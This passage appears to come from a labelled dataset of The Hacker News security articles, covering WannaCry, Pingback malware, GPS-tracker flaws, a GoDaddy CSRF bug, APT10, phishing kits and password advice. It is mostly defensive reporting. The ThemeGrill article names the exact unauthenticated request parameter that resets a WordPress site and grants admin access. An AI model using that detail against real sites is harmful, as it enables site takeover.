The WannaCry ransomware, also known as Wanna Decryptor, leverages a Windows SMB exploit, dubbed EternalBlue, that allows a remote hacker to hijack computers running on unpatched Microsoft Windows operating system.

Once infected, WannaCry also scans for other unpatched PCs connected to the same local network, as well as scans random hosts on the wider Internet, to spread itself quickly.

What Has Happened So Far
We have been covering this story since Friday when this malware was first emerged and hit several hospitals across the globe, eventually forcing them to shut down their entire IT systems over the weekend, hence rejecting patients appointments, and cancel operations.

Later this cyber attack brought down many organizations to their knees.

Instead of repeating same details again, read our previous articles dig deeper and know what has happened so far:

Day 1: OutCry — WannaCry targeted over 90,000 computers in 99 countries.
Day 2: The Patch Day — A security researcher successfully found a way to slow down the infection rate, and meanwhile, Microsoft releases emergency patch updates for unsupported versions of Windows.
Day 3: New Variants Arrives — Just yesterday, some new variants of WannaCry, with and without a kill-switch, were detected in the wild would be difficult to stop for at least next few weeks.

Isn't the Cyber Attack Over?

Absolutely not.

This is just beginning. As I reported yesterday, security researchers have detected some new versions of this ransomware, dubbed WannaCry 2.0, which couldn't be stopped by the kill switch.

What's even worse is that the new WannaCry variant believed to be created by someone else, and not the hackers behind the first WannaCry ransomware.

It has been speculated that now other organized cybercriminal gangs, as well as script-kiddies can get motivated by this incident to create and spread similar malicious ransomware.

How to Protect Yourself from WannaCry Ransomware?

Here are some simple tips you should always follow because most computer viruses make their ways into your systems due to lack of simple security practices:

1. Always Install Security Updates
If you are using any version of Windows, except Windows 10, with SMB protocol enabled, make sure your computer should always receive updates automatically from the Microsoft, and it's up-to-date always.

2. Patch SMB Vulnerability
Since WannaCry has been exploiting a critical SMB remote code execution vulnerability (CVE-2017-0148) for which Microsoft has already released a patch (MS17-010) in the month of March, you are advised to ensure your system has installed those patches.

Moreover, Microsoft has been very generous to its users in this difficult time that the company has even released the SMB patches (download from here) for its unsupported versions of Windows as well, including Windows XP, Vista, 8, Server 2003 and 2008.

Note: If you are using Windows 10 Creators Update (1703), you are not vulnerable to SMB vulnerability.

3. Disable SMB
Even if you have installed the patches, you are advised to disable Server Message Block version 1 (SMBv1) protocol, which is enabled by default on Windows, to prevent against WannaCry ransomware attacks.

Here's the list of simple steps you can follow to disable SMBv1:
Go to Windows' Control Panel and open 'Programs.'
Open 'Features' under Programs and click 'Turn Windows Features on and off.'
Now, scroll down to find 'SMB 1.0/CIFS File Sharing Support' and uncheck it.
Then click OK, close the control Panel and restart the computer.

4. Enable Firewall & Block SMB Ports
Always keep your firewall enabled, and if you need to keep SMBv1 enabled, then just modify your firewall configurations to block access to SMB ports over the Internet. The protocol operates on TCP ports 137, 139, and 445, and over UDP ports 137 and 138.

5. Use an Antivirus Program
An evergreen solution to prevent against most threats is to use a good antivirus software from a reputable vendor and always keep it up-to-date.

Almost all antivirus vendors have already added detection capability to block WannaCry, as well as to prevent the secret installations from malicious applications in the background.

6. Be Suspicious of Emails, Websites, and Apps
Unlike WannaCry, most ransomware spread through phishing emails, malicious adverts on websites, and third-party apps and programs.

So, you should always exercise caution when opening uninvited documents sent over an email and clicking on links inside those documents unless verifying the source to safeguard against such ransomware infection.

Also, never download any app from third-party sources, and read reviews even before installing apps from official stores.

7. Regular Backup your Files:
To always have a tight grip on all your important documents and files, keep a good backup routine in place that makes their copies to an external storage device which is not always connected to your computer.

That way, if any ransomware infects you, it can not encrypt your backups.

8. Keep Your Knowledge Up-to-Date
There's not a single day that goes without any report on cyber attacks and vulnerabilities in popular software and services, such as Android, iOS, Windows, Linux and Mac Computers as well.

So, it's high time for users of any domain to follow day-to-day happening of the cyber world, which would not only help them to keep their knowledge up-to-date, but also prevent against even sophisticated cyber attacks.

What to do if WannaCry infects you?

Well, nothing.

If WannaCry ransomware has infected you, you can't decrypt your files until you pay a ransom money to the hackers and get a secret key to unlock your file.

Never Pay the Ransom:
It's up to the affected organizations and individuals to decide whether or not to pay the ransom, depending upon the importance of their files locked by the ransomware.

But before making any final decision, just keep in mind: there's no guarantee that even after paying the ransom, you would regain control of your files.

Moreover, paying ransom also encourages cyber criminals to come up with similar threats and extort money from the larger audience.

So, sure shot advice to all users is — Don't Pay the Ransom.

Who's Behind WannaCry & Why Would Someone Do This?

Update: Also Read — Google Researcher Finds Link Between WannaCry Attacks and North Korea.

While it's still not known who is behind WannaCry, such large-scale cyber attacks are often propagated by nation states, but this ongoing attack does not bear any link to foreign governments.
""The recent attack is at an unprecedented level and will require a complex international investigation to identify the culprits,"" said Europol, Europe's police agency.
Why are they hijacking hundreds of thousands of computers around the globe? Simple — to extort money by blackmailing infected users.
By looking at the infection rate, it seems like the criminals responsible for this absurd attack would have made lots and lots of dollars so far, but surprisingly they have made relatively little in the way of profits, according to @actual_ransom, a Twitter account that's tweeting details of every single transaction.

At the time of writing, the WannaCry attackers have received 171 payments totaling 27.96968763 BTC ($47,510.71 USD).

Who is responsible for WannaCry Attack?

— Is it Microsoft who created an operating system with so many vulnerabilities?

— Or is it the NSA, the intelligence agency of the United States, who found this critical SMB vulnerability and indirectly, facilitates WannaCry like attacks by not disclosing it to Microsoft?

— Or is it the Shadow Brokers, the hacking group, who managed to hack the NSA servers, but instead of reporting it to Microsoft, they decided to dump hacking tools and zero-day exploits in public?

— Or is it the Windows users themselves, who did not install the patches on their systems or are still using an unsupported version of Windows?

I do not know who can be blamed for this attack, but according to me, all of them shares equal responsibility.

Microsoft Blames NSA/CIA for WannaCry Cyber Attack

Microsoft has hit out at the US government for facilitating cyber attacks, like WannaCry, by not disclosing the software vulnerabilities to the respective vendors and holding them for their benefits, like global cyber espionage.

In a blog post on Sunday, Microsoft President Brad Smith condemned the US intelligence agencies' unethical practices, saying that the ""widespread damage"" caused by WannaCry happened due to the NSA, CIA and other intelligence agencies for holding zero-days and allowing them to be stolen by hackers.
""This is an emerging pattern in 2017. We have seen vulnerabilities stored by the CIA show up on WikiLeaks, and now this vulnerability stolen from the NSA has affected customers around the world,"" Smith said.
This statement also publicly confirms that the hacking tools and exploits leaked by the Shadow Brokers belong to Equation Group, an elite group of hackers from NSA.
""Repeatedly, exploits in the hands of governments have leaked into the public domain and caused widespread damage,"" Smith wrote.
Thank you. Stay tuned.

",Cyber_Attack
New Pingback Malware Using ICMP Tunneling to Evade C&C Detection,https://thehackernews.com/2021/05/new-pingback-malware-using-icmp.html,"Researchers on Tuesday disclosed a novel malware that uses a variety of tricks to stay under the radar and evade detection, while stealthily capable of executing arbitrary commands on infected systems.
Called 'Pingback,' the Windows malware leverages Internet Control Message Protocol (ICMP) tunneling for covert bot communications, allowing the adversary to utilize ICMP packets to piggyback attack code, according to an analysis published today by Trustwave.
Pingback (""oci.dll"") achieves this by getting loaded through a legitimate service called MSDTC (Microsoft Distributed Transaction Coordinator) — a component responsible for handling database operations that are distributed over multiple machines — by taking advantage of a method called DLL search order hijacking, which involves using a genuine application to preload a malicious DLL file.
Naming the malware as one of the plugins required for supporting Oracle ODBC interface in MSDTC is key to the attack, the researchers noted. While MSDTC isn't configured to run automatically on startup, a VirusTotal sample submitted in July 2020 was found to install the DLL file into the Windows System directory and start the MSDTC service to achieve persistence, raising the possibility that a separate executable is crucial to installing the malware.
Upon successful execution, Pingback resorts to using the ICMP protocol for its main communication. ICMP is a network layer protocol mainly used for sending error messages and operational information, say, a failure alert when another host becomes unreachable.
Specifically, Pingback takes advantage of an Echo request (ICMP message type 8), with the message sequence numbers 1234, 1235, and 1236 denoting the type of information contained in the packet — 1234 being a command or data, and 1235 and 1236 being the acknowledgment for receipt of data on the other end. Some of the commands supported by the malware include the capability to run arbitrary shell commands, download and upload files from and to the attacker's host, and execute malicious payloads on the infected machine.
An investigation into the malware's initial intrusion route is ongoing.
""ICMP tunneling is not new, but this particular sample piqued our interest as a real-world example of malware using this technique to evade detection,"" the researchers said. ""ICMP is useful for diagnostics and performance of IP connections, [but] it can also be misused by malicious actors to scan and map a target's network environment. While we are not suggesting that ICMP should be disabled, we do suggest putting in place monitoring to help detect such covert communications over ICMP.""

",Malware
Hundreds of GPS Location Tracking Services Leaving User Data Open to Hackers,https://thehackernews.com/2018/01/gps-location-tracking.html,"Security researchers have unearthed multiple vulnerabilities in hundreds of GPS services that could enable attackers to expose a whole host of sensitive data on millions of online location tracking devices managed by vulnerable GPS services.

The series of vulnerabilities discovered by two security researchers, Vangelis Stykas and Michael Gruhn, who dubbed the bugs as 'Trackmageddon' in a report, detailing the key security issues they have encountered in many GPS tracking services.

Trackmageddon affects several GPS services that harvest geolocation data of users from a range of smart GPS-enabled devices, including children trackers, car trackers, pet trackers among others, in an effort to enable their owners to keep track of where they are.

According to the researchers, the vulnerabilities include easy-to-guess passwords (such as 123456), exposed folders, insecure API endpoints, and insecure direct object reference (IDOR) issues.

By exploiting these flaws, an unauthorized third party or hacker can get access to personally identifiable information collected by all location tracking devices, including GPS coordinates, phone numbers, device model and type information, IMEI numbers, and custom assigned names.
What's more? On some online services, an unauthorized third party can also access photos and audio recordings uploaded by location tracking devices.

The duo said they have been trying to reach out to potentially affected vendors behind the affected tracking services for warning them of the severity of these vulnerabilities.

According to the researchers, one of the largest global vendors for GPS tracking devices, ThinkRace, may have been the original developer of the flawed location tracking online service software and seller of licenses to the software.

Although four of the affected ThinkRace domains have now been fixed, the remaining domains still using the same flawed services continue to be vulnerable. Since many services could still be using old versions of ThinkRace, users are urged to stay up-to-date.
""We tried to give the vendors enough time to fix (also respond for that matter) while we weighted this against the current immediate risk of the users,"" the researchers wrote in their report.
""We understand that only a vendor fix can remove user's location history (and any other stored user data for that matter) from the still affected services but we (and I personally because my data is also on one of those sites) judge the risk of these vulnerabilities being exploited against live location tracking devices much higher than the risk of historic data being exposed.""
In many cases, vendors attempted to patch the vulnerabilities, but the issues ended up re-appearing. Around 79 domains still remain vulnerable, and researchers said they did not know if these services would be fixed.
""There have been several online services that stopped being vulnerable to our automated proof of concept code, but because we never received a notification by a vendor that they fixed them, it could be that the services come back online again as vulnerable,"" the duo said.
You can find the entire list of affected domains on the Trackmageddon report.

Stykas and Gruhn also recommended some suggestions for users to avoid these vulnerabilities, which includes removing as much data from the affected devices as possible, changing the password for the tracking services and keeping a strong one, or just stopping to use the affected devices until the issues are fixed.

",Vulnerability
Bank of America Website under Cyber Attack from Islamic Hackers,https://thehackernews.com/2012/09/bank-of-america-website-under-cyber.html,"Bank of America's website experienced periodic outages Tuesday due to cyber attacks launched in retaliation for ""Innocence of Muslims,"" the amateurish film whose mocking portrait of the Prophet Muhammad has incited deadly riots throughout the Middle East.

""Cyber fighters of Izz ad-din Al qassam"" said it would attack the Bank of America and the New York Stock Exchange as a ""first step"" in a campaign against properties of ""American-Zionist Capitalists.""
""After Successful attack to YouTube Servers in recent days made by Muslims around the world, many groups announce that they are ready to do similar attacks.When supporter of that sacrilegious movie try to punish the cast and crew, the publisher included, this story will end until that time these kinds of Cyber Attacks will be continued and the Cyber world will be an unsafe place for all of Enemies of Islam."" Hackers posted on their blog.

People around the country reported on social media that they had problems accessing the site around midday and continuing into the evening. Some reported not being able to log in to online banking for hours.

""We are working to ensure full availability,"" Mark Pipitone, a bank spokesman told. Asked whether the bank was the target of a cyberattack, Pipitone said, ""I can assure you we continuously take proactive measures to secure our systems.""

The U.S. government has denounced the film repeatedly since a riot in Libya last week killed the U.S. ambassador to the country and three other Americans.

",Cyber_Attack
GoDaddy Vulnerability Allows Domain Hijacking,https://thehackernews.com/2015/01/godaddy-vulnerability-allows-domain_20.html,"An Internet domain registrar and web hosting company GoDaddy has patched a Cross-Site Request Forgery (CSRF or XSRF) vulnerability that allowed hackers and malicious actors to hijack websites registered with the domain registration company.

The vulnerability was reported to GoDaddy on Saturday by Dylan Saccomanni, a web application security researcher and penetration testing consultant in New York. Without any time delay, the company patched the bug in less than 24 hours after the blog was published.

While managing an old domain registered on GoDaddy, Saccomanni stumbled across the bug and noticed that there was absolutely no protection against CSRF vulnerability at all on many GoDaddy DNS management actions.

Cross-Site Request Forgery (CSRF) is a method of attacking a website in which an attacker need to convince the victim to click on a specially crafted HTML exploit page that will make a request to the vulnerable website on their behalf.

This common but rather chronic web application vulnerability could have been used by attackers to manipulate domain settings on any sites or even hijack the entire domain without any knowledge to the victim (domain buyer).
""An attacker can leverage a CSRF vulnerability to take over domains registered with GoDaddy,"" Saccomanni wrote on his blog post.
According to the researcher, there was no CSRF token present in request body or headers, and no enforcement of Referrer, which leveraged hackers to post codes required to edit name-servers, turn off auto-renew features and edit the zone file.

All attackers need to do is leverage some sort of social engineering tactic in order to exploit the CSRF vulnerability.
""They don't need sensitive information about the victim's account, either – for auto-renew and nameservers, you don't need to know anything,"" Saccomanni said. ""For DNS record management, all you need to know is the domain name of the DNS records.""
GoDaddy was not immediately able to response on the issue or say if its users accounts had been compromised.

Saccomanni said he attempted to contact GoDaddy using many different email addresses associated with security and engineering, as well as customer support in order to report the flaw.

He received a word that there would be ""no timeline"" for a patch. However, yesterday he noticed that a CSRF protection was implemented on the place.

",Vulnerability
U.S. Trade Group Hacked by Chinese Hackers ahead of Trump-Xi Trade Summit,https://thehackernews.com/2017/04/hacking-trump-xi-trade.html,"Researchers have uncovered a Chinese cyber-espionage against the United States ahead of the trade summit on Thursday between US President Donald Trump and China's President Xi Jinping.

According to a new report published today by Fidelis Cybersecurity firm, the Chinese APT10 hacking group implanted a piece of malware on the ""Events"" page of the US National Foreign Trade Council (NFTC) website in February.

Dubbed 'Operation TradeSecret,' the attack against the NFTC site is seen as an attempt to conduct surveillance on the main industry players and lobbyists closely associated with U.S trade policy activities.

Researchers say hackers placed a malicious link on the NFTC website, inviting the organization's board of directors to register for a meeting in Washington DC on March 7. But clicking on the link deployed a spying tool called ""Scanbox.""

Dates back to 2014, Scanbox – previously used by nation-state threat actors associated with the Chinese government – has the ability to record the type and versions of software a victim is running and run keyloggers on compromised computers, said Fidelis researcher John Bambenek.
""This attack was really at its core a reconnaissance attack. Anyone who visited this calendar entry would expose their software versions and use a JavaScript keylogger that could expose their identity,"" said Bambenek.
""Traditionally these attacks are used to precisely identify targets and help them craft targeted phishing attacks using exploits they know the victim is vulnerable to.""
The malicious link was active on the NFTC website between February 27 and March 1. The malware was already removed from the site by the time Fidelis contacted NFTC.

The NFTC's staff and board represent many influential people and companies -- from President Rufus Yerxa, the U.S. Ambassador to GATT to executives from major companies including Google, Amazon, eBay, IBM, Coca-Cola, Microsoft, Oracle, Cisco, KPMG, Pfizer, Visa, Ford, Halliburton, and Walmart.

Although Fidelis detected no further attacks on NFTC board members, the security firm believed the hackers were after a full range of entities relevant to the trade negotiations due to take place Thursday between US and China.

This is the second time in a week when APT10 cyber espionage campaign has come to light. A report released this week by BAE Systems, and PwC also claimed that APT10 was targeting managed IT services providers (MSPs) and their customers across the globe to steal sensitive data.

",Malware
iCloud Possibly Suffered A Privacy Breach Last Year That Apple Kept a Secret,https://thehackernews.com/2019/01/icloud-privacy-breach.html,"Late last year when an unknown group of hackers stole secret access tokens for millions of Facebook accounts by taking advantage of a flaw in its website, the company disclosed the incident and informed its affected users.

Similarly, when Twitter was hit by multiple vulnerabilities (#1, #2, #3) in the last few months, the social media company disclosed those incidents and informed its affected users.

And Guess What? Google is going to shut down its social media network Google+ in April this year after admitting two security flaws in its platform that exposed private data of hundreds of thousands of users to third-party developers.

It turns out that Apple also possibly suffered a privacy breach late last year due to a bug in its platform that might have exposed some of your iCloud data to other users, but the company chose to keep the incident secret... maybe because it was not worth to disclose, or perhaps much more complicated.

Last week, Turkish security researcher Melih Sevim contacted The Hacker News and claimed to have discovered a flaw in Apple services that allowed him to view partial data, especially notes, from random iCloud accounts as well as on targeted iCloud users just by knowing their associated phone numbers.
Melih confirmed The Hacker News that he discovered the alleged flaw in October 2018, and then responsibly reported it to the Apple's security team with steps to reproduce the bug and a video demonstration, showing how he was able to read personal iCloud data from other Apple users without their knowledge.
""I discovered that when there is an active data transfer between the user and Apple servers if I open my (attacker's) iCloud account, there is a possibility to view some random data on every refresh due to the bug,"" Melih told The Hacker News.
After patching it in November 2018, Apple acknowledged the issue to Melih but responded that the company had already addressed it before receiving details from him.

Apple then immediately closed the ticket and buried the lead.

A Mysterious iCloud Bug

Based upon Melih explanation, the alleged flaw resided in the way Apple ""internally"" linked, either accidentally or intentionally, a phone number saved in the billing information of an Apple ID to the iCloud account on a device using the same phone number.

According to Melih, after following some specific steps on his iPhone and then saving a new phone number linked to another Apple ID in the billing information related settings on his device, he was able to view partial iCloud data from the account associated with that number.
""Let suppose, if abc@icloud.com's mobile number is 12345 and when I enter 12345 mobile number to my xyz@icloud.com Apple ID account, I could see abc's data on xyz's account,"" Melih told THN.
""During my researcher, I saw many notes from other Apple users who kept their bank account related information and passwords in the iCloud.""
Since the flaw was in the section of iCloud settings for iOS devices that load from Apple servers in real-time using the Internet, it was silently patched by Apple team from the background without releasing a new iOS update.

If Melih's report is accurate, the next detail makes the issue more serious…

Melih also confirmed The Hacker News that the text-box asking users to enter a phone number was not validating the user input, thus allowing an attacker even to save a single digit input.

As shown in the video demonstration shared by Melih with THN, the trick eventually exploited the same flaw into fetching personal data from random iCloud accounts matching the input digit to their associated phone numbers.

Apple Acknowledged the Problem, But...

To confirm Melih's bug and know the full extent of the incident, we reached out to the Apple security team before publishing this article.

In response to The Hacker News email and knowing that we are working on a story, Apple acknowledged the bug report, saying ""the issue was corrected back in November,"" without responding to some other important questions, including for how many weeks the flaw remained open, the estimated number of affected users (if any) and if there is any evidence of malicious exploitation?

Well, that was weird, but not new...

Just yesterday, Apple temporarily took down its Group FaceTime service after the public disclosure of a bug in its video-calling app that allows FaceTime users to hear or see other users before they even pick up the call.

Later it turned out that Apple was apparently notified of the FaceTime eavesdropping bug over a week ago by a 14-year-old boy before it made headlines, but again, the Apple security team failed to communicate promptly, leaving its millions of users unaware of the issue and at risk.

If the suspected iCloud leak was minor, then Apple could have confirmed us, but it's silence over the report makes the incident more suspicious.

We'll update this story as we hear more.
",Vulnerability
Targeted Phishing Attacks Strike High-Ranking Company Executives,https://thehackernews.com/2021/01/targeted-phishing-attacks-target-high.html,"An evolving phishing campaign observed at least since May 2020 has been found to target high-ranking company executives across manufacturing, real estate, finance, government, and technological sectors with the goal of obtaining sensitive information.
The campaign hinges on a social engineering trick that involves sending emails to potential victims containing fake Office 365 password expiration notifications as lures. The messages also include an embedded link to retain the same password that, when clicked, redirects users to a phishing page for credential harvesting.
""The attackers target high profile employees who may not be as technically or cybersecurity savvy, and may be more likely to be deceived into clicking on malicious links,"" Trend Micro researchers said in a Monday analysis.
""By selectively targeting C-level employees, the attacker significantly increases the value of obtained credentials as they could lead to further access to sensitive personal and organizational information, and used in other attacks.""
According to the researchers, the targeted email addresses were mostly collected from LinkedIn, while noting that the attackers could have purchased such target lists from marketing websites that offer CEO/CFO email and social media profile data.
The Office 365 phishing kit, currently in its fourth iteration (V4), is said to have been originally released in July 2019, with additional features added to detect bot scanning or crawling attempts and provide alternative content when bots are detected. Interestingly, the alleged developer behind the malware announced V4's availability on their ""business"" Facebook page in mid-2020.
Aside from selling the phishing kit, the actor has also been found to peddle account credentials of CEOs, chief financial officers (CFOs), finance department members, and other high-profile executives on social media pages.
What's more, Trend Micro's investigation unearthed a possible link to a user handle on underground forums that was spotted selling a credential harvester tool as well as stolen C-Level account passwords anywhere between $250 to $500, echoing previous reports late last year.
The researchers uncovered at least eight compromised phishing sites hosting the V4 phishing kit, raising the possibility that they were used by different actors for a wide range of phishing campaigns directed against CEOs, presidents, board members, and founders of companies located in the U.S., the U.K., Canada, Hungary, the Netherlands, and Israel.
""While organizations are aware and wary of the information they include in public-facing websites and platforms, their respective employees should be constantly reminded to be mindful of the details they disclose on personal pages,"" the researchers concluded. ""These can be easily used against them for attacks using social engineering techniques.""

",Cyber_Attack
China: 'We are ready for International cooperation to deal with cyber security Challenges',https://thehackernews.com/2013/11/china-we-are-ready-for-international.html,"Yesterday at Stanford University in the United States, Cyber Security Experts and Leaders from more than 40 countries gathered to talk about the cyberspace security problems and cooperation among countries.

The need for international cooperation in cybersecurity is evident, due to the nature of cyberspace itself. Cyberspace or the Internet is ""borderless"" in nature.
Cai Mingzhao, Minister of the State Council Information Office of China said that China is keen to continue working with other countries to deal with cyber security Challenges.
Interesting! When China is itself the culprit in major Cyber Threats and attacks.
""To maintain cyber security, we need to strengthen international cooperation,"" and ""We are ready to expand our cooperation with other countries and relevant international organizations on the basis of equality and mutual benefit,"" he said.

He said that the China is a victim of cyber security breaches, where more than 80% of Chinese internet users have felt the effects of online hacking. The case for international cooperation is even stronger, when criminals take advantage of countries' inability to coordinate, due to legal reasons or because authorities do not have the necessary technical expertise or resources to address the issue. Cybercrimes are not always clearly illegal in some jurisdictions.

""Between January to August this year, more than 20 thousand websites based in China were modified by hackers and more than 8 million servers, 14 percent more during the same period last year, were compromised and controlled by overseas computers via zombie and Trojan programs. These activities have caused severe damage to our economy and the everyday life of the people,"" Cai said.
or NSA is the real culprit ?
As cyber-threats and other information security and network security issues have become borderless, international cooperation should be based on partnership with organizations from other countries in areas such as information-sharing, early warning, monitoring and alert networks.

Due to the global nature of information networks, no policy on cybersecurity can be effective, if efforts are confined to national borders.

",Cyber_Attack
"Critical Bug in WordPress Theme Plugin Opens 200,000 Sites to Hackers",https://thehackernews.com/2020/02/themegrill-wordpress-plugin.html,"A popular WordPress theme plugin with over 200,000 active installations contains a severe but easy-to-exploit software vulnerability that, if left unpatched, could let unauthenticated remote attackers compromise a wide range of websites and blogs.

The vulnerable plugin in question is 'ThemeGrill Demo Importer' that comes with free as well as premium themes sold by the software development company ThemeGrill.

ThemeGrill Demo Importer plugin has been designed to allow WordPress site admins to import demo content, widgets, and settings from ThemeGrill, making it easier for them to quickly customize the theme.

According to a report WebARX security company shared with The Hacker News, when a ThemeGrill theme is installed and activated, the affected plugin executes some functions with administrative privileges without checking whether the user running the code is authenticated and is an admin.

The flaw could eventually allow unauthenticated remote attackers to wipe the entire database of targeted websites to its default state, after which they will also be automatically logged in as an administrator, allowing them to take complete control over the sites.


""Here we see (in the screenshot) that there is no authentication check, and only the do_reset_wordpress parameter needs to be present in the URL on any 'admin' based page of WordPress, including /wp-admin/admin-ajax.php.""

According to the WebARX researchers, the vulnerability affects ThemeGrill Demo Importer plugin version 1.3.4 up to 1.6.1, all released in the last 3 years.

""This is a serious vulnerability and can cause a significant amount of damage. Since it requires no suspicious-looking payload, it is not expected for any firewall to block this by default, and a special rule needs to be created to block this vulnerability,"" the WebARX researchers said.

WebARX, which provides vulnerability detection and virtual patching software to protect websites from the third-party component vulnerabilities. responsibly reported this vulnerability to ThemeGrill developers two weeks ago, who then released a patched version 1.6.2 on February 16.

WordPress Dashboard automatically notifies admins when a plugin needs to be updated, but you can also choose to have plugin updates automatically installed instead of waiting for manual action.
",Vulnerability
"Turkmenistan Gmail, Microsoft, Youtube Domains Hijacked",https://thehackernews.com/2013/01/turkmenistan-gmail-microsoft-youtube.html,"Iranian hackers deface multiple big companies Turkmenistan domains (.tm) yesterday using DNS poisoning attack. All hacked domains are registered by NIC at Turkmenistan. Hacker managed to find and exploit a SQL Injection vulnerability in NIC website in order to get database of the site.

Because the passwords was stored in plain text, that make more easy for those hacker to access the domain panels of each domain and changing the DNS entries to shift websites on a rouge server with defaced page. The defaced message as shown below:
Defaced domains :
www.youtube.tm
www.gmail.tm
www.msdn.tm
www.intel.tm
www.officexp.tm
www.xbox.tm
www.windowsvista.tm
www.orkut.tm
www.google.tm

Mirror of hacks are available at Zone-H.

",Vulnerability
"Password Security — Who's to Blame for Weak Passwords? Users, Really?",https://thehackernews.com/2016/01/password-security-manager.html,"The majority of Internet users are vulnerable to cyber threats because of their own weaknesses in setting up a strong password. But, are end-users completely responsible for choosing weak passwords?

Give a thought.

Recently we wrote an article revealing the list of Worst Passwords of 2015 that proved most of us are still using bad passwords, like '123456' or 'password,' to secure our online accounts that when breached could result in critical information loss.

If the end-user is to blame for weak password security, then the solution is to educate each and every Internet user to follow the best password security practice.

But is that really possible? Practically, No.

Even after being aware of best password security measures, do we really set strong passwords for every website? I mean EVERY. Ask yourself.

Who's Responsible for allowing Users to Set a Weak Password?

It's the websites and their developers, who didn't enforce a strong password policy on their users and allow them to sign up with weak passwords.

So what should be the perfect solution, where every registered member of a website or service should have a strong password?

Most of the Internet users get annoyed while signing up with a website that tells them their password:
Must be at least 8 characters long
Must include both uppercase and lowercase
Must contain at least one special character
Must have at least one numeric character
Don't get annoyed of such website, because that website, at least, has its users' safety and security in mind.

Also Read: Best Password Manager — For Windows, Linux, Mac, Android, iOS and Enterprise

However, not every site provides a strong password setting mechanism, and this is why users are taking advantage of by relying on absolutely awful passwords.
""In this age, knowing all we know now, it's negligent of websites to allow users to choose ""password"" ""1234567"" and millions of known weak passwords,"" Dan Goodin, Security Editor at Ars Technica told THN.
""Security researchers have often talked about developing a means for allowing websites to blacklist a large body of weak passwords — say, every single password in the RockYou dump and other major password breach — but so far I'm not aware of any websites that use something like this. Until they do, passwords will continue to be cracked,"" he said.
After Data Breaches, the organizations tend to blame the end user for poor password security. However, they themselves forget to provide them one.

Even Google and Facebook allows users to set a weak password for their accounts, with just minimum 8 character condition, in order to target mass audience with better usability.

Microsoft MVP of developer security and creator of Have I Been Pwned, Troy Hunt agrees to this by saying:
""The problem is that website operators are faced with this paradox of security versus usability. If they enforced a minimum of 30 characters they'd be enormously secure... and have no customers.""
""They're forced to dumb down requirements in order to make the system appealing to the vast majority of people who don't use password managers.""
However, to be very clear, there is really no such thing as an unbreakable password. Yes, you heard me right…

...even Strong Passwords are Crackable.

Hackers Can Crack Every Single Password
Stealing password is one of the oldest moves in hackers' book. And before proceeding, you also need to know that how they are able to crack every password that you can ever think of.

There is a password brute-force technique, where a simple password-cracking tool can test or try every possible combination of letters, numbers, and symbols until it matches your secret or encrypted (hashed) password.

It requires a lot of computing power to do so, but for shorter passwords, it's a pretty reliable and faster technique.

However, if your password is strong (with uppercase, lowercase, special and numeric characters), it will be much harder for hackers to break it within reasonable time period — and, therefore, strong passwords are much safer.

The more complex your password is, the harder it is to guess and the more secure it is.

How to Create and Manage Strong Passwords
So, until every or most of the organizations make themselves strong enough to accept only strong passwords from their customers, you need to make a hobby of setting up strong passwords for your online safety.

Here's How to create strong passwords, which are easy to remember as well.

Beside this, always remember to create different passwords for different sites. So that if one website is breached, your other online accounts on other sites are secure enough from being hacked.
""Even when we see fairly stringent minimum requirements, they have no way of enforcing uniqueness, and inevitably many of the passwords they hold have been reused across other services,"" Hunt added.
I know this is a real pain to memorize 15+ uniquely random alphanumeric and special character strings like this, '$#%fa4$0', which is only 8 characters in length.

Can it really be done?

Yes, there is a solution, i.e. Password Manager, available to you that can significantly reduce the password memorizing problem, along with a cure for users' bad habit of setting weak passwords.

Best Password manager exist and have come a very long way in the past few years to help resolve this issue.

Why Some Websites Block 'Password Managers'?

Typically, Password Managers generate long, complex, and – most importantly – unique passwords for you, and then store them in encrypted form on either your computer or a remote service. All you need to do is remember one master password to enter all of your others.

However, the problem is, there are a number of websites, especially banking and financial, that intentionally block password managers, making it difficult for people to use stronger passwords more easily.

Those sites don't allow you to paste passwords into the login screens, instead forcing you to type the passwords by yourself.

""Some websites actively block users from creating credentials with password managers,"" Joseph Cox, freelance security journalist for Motherboard, told The Hacker News.

""This is because they stop users pasting passwords into the login page, sometimes making it a real hassle to use strong, and more importantly, unique passwords generated by managers. There are some workarounds, but when dealing with something as important as passwords, why to make it harder for users at all?""

So why do these companies stop users from copying and pasting their passwords?

These companies say that disabling the pasting of passwords is a security feature that prevents password phishing as well as brute force attacks.

Although the companies may give a reason that by doing so, they are helping their customers, preventing users from pasting passwords into the login page is pretty weak practice overall.
""Websites sometimes say they have disabled the pasting of passwords to stop certain types of malware, for example,"" Cox added. ""But the fact is that re-using password is a much, much more common problem than password stealing malware.""
Advanced Password Security Practices

Both weak and strong passwords are vulnerable to human error, so you need to keep some points in your mind in order to keep your data safe from hackers.

1 — Use Different Passwords On Different Accounts:

If you are using the same password twice, it is an invitation for hackers to double-dip into your data.

If you are reusing your passwords on multiple websites, and a hacker steals one of your passwords, they have got access to all other accounts that use the same password.

Therefore, mix things up to stay safe. Use different passwords on different websites and accounts.

Also, you are recommended to change your password every few months, which limits how long a stolen password is useful to a hacker.

2 — Use a Good Password Manager:

Password Manager is an excellent solution to your failure to keeping a strong password for different accounts. The issue is that today lots of people subscribe to a lot of different services, and it is usually hard to generate different passwords for every single account.

Password manager creates a random, different password strings for every website you visit, and then saves them for you, and in general, you only need to remember one master password to open your password manager or vault.

To do so, you need a good password management tool. Dashlane, KeePassX, and LastPass are some good options for password managers that are free, and you should try one.

3 — Use Two-Factor Authentication:

Two-Factor Authentication has always been a hurdle for hackers who managed to steal your account credentials.
""Instead of tackling the problem with minimum requirements, using approaches such as two-step verification and other fraud detection methods are a more palatable approach to increasing security without losing customers,"" says Hunt.
Many websites, like Google and Facebook, offer a mechanism known as Two-factor authentication that besides verifying your password, generates an OTP (One Time Password) verification code that is either sent to your mobile via SMS or phone call.

Even hackers with your passwords can not easily access your accounts if you are using two-factor authentication.

",Data_Breaches
Beware — A New Wormable Android Malware Spreading Through WhatsApp,https://thehackernews.com/2021/01/beware-new-wormable-android-malware.html,"A newly discovered Android malware has been found to propagate itself through WhatsApp messages to other contacts in order to expand what appears to be an adware campaign.
""This malware spreads via victim's WhatsApp by automatically replying to any received WhatsApp message notification with a link to [a] malicious Huawei Mobile app,"" ESET researcher Lukas Stefanko said.
The link to the fake Huawei Mobile app, upon clicking, redirects users to a lookalike Google Play Store website.
Once installed, the wormable app prompts victims to grant it notification access, which is then abused to carry out the wormable attack.
Specifically, it leverages WhatApp's quick reply feature — which is used to respond to incoming messages directly from the notifications — to send out a reply to a received message automatically.
